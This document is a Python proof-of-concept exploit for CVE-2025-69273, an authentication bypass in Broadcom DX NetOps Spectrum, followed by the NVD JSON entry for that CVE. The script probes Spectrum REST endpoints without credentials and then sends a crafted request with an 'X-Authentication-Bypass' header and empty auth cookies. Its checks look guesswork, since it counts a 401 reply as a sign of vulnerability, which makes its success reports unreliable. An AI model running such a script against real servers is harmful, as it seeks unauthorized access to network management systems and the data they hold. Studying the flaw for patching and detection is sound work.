CVE-2025-69273

# CVE-2025-69273 PoC - Broadcom DX NetOps Spectrum Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-69273 """ print(f"[*] Testing target: {target_url}") # Target-specific endpoints that may be vulnerable endpoints = [ "/spectrum/restful/device", "/spectrum/restful/model", "/spectrum/servlet/health", "/spectrum/servlet/topology" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json, text/html", "X-Requested-With": "XMLHttpRequest" } vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for successful response without authentication if response.status_code == 200 or response.status_code == 401: # Check if response contains sensitive data if any(keyword in response.text.lower() for keyword in ['device', 'model', 'spectrum', 'landscape']): print(f"[+] Potential vulnerability found at {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") vulnerable = True break except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable def exploit_authentication_bypass(target_url): """ Attempt to exploit the authentication bypass """ print("\n[*] Attempting authentication bypass exploitation...") # Crafted request to bypass authentication exploit_url = target_url.rstrip('/') + "/spectrum/restful/device" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json", "X-Authentication-Bypass": "true", # Potential bypass header "Cookie": "JSESSIONID=;SPECTRUM_AUTH=" # Empty authentication cookies } try: response = requests.get(exploit_url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print("[+] Exploitation successful - unauthorized access granted") print(f"[+] Response preview: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-69273_poc.py <target_url>") print("Example: python cve-2025-69273_poc.py http://target:8080") sys.exit(1) target = sys.argv[1] if check_vulnerability(target): print("\n[!] Target appears to be vulnerable to CVE-2025-69273") exploit_authentication_bypass(target) else: print("\n[-] Target does not appear to be vulnerable")

{"cve": {"id": "CVE-2025-69273", "sourceIdentifier": "[email protected]", "published": "2026-01-12T05:16:11.363", "lastModified": "2026-01-14T17:53:48.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authentication vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows Authentication Bypass.This issue affects DX NetOps Spectrum: 24.3.10 and earlier."}, {"lang": "es", "value": "Vulnerabilidad de autenticación incorrecta en Broadcom DX NetOps Spectrum en Windows, Linux permite la omisión de autenticación. Este problema afecta a DX NetOps Spectrum: 24.3.10 y versiones anteriores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:broadcom:dx_netops_spectrum:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.3.11", "matchCriteriaId": "9AA7B1B9-33E1-4BFC-8991-05A12934E921"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36756", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}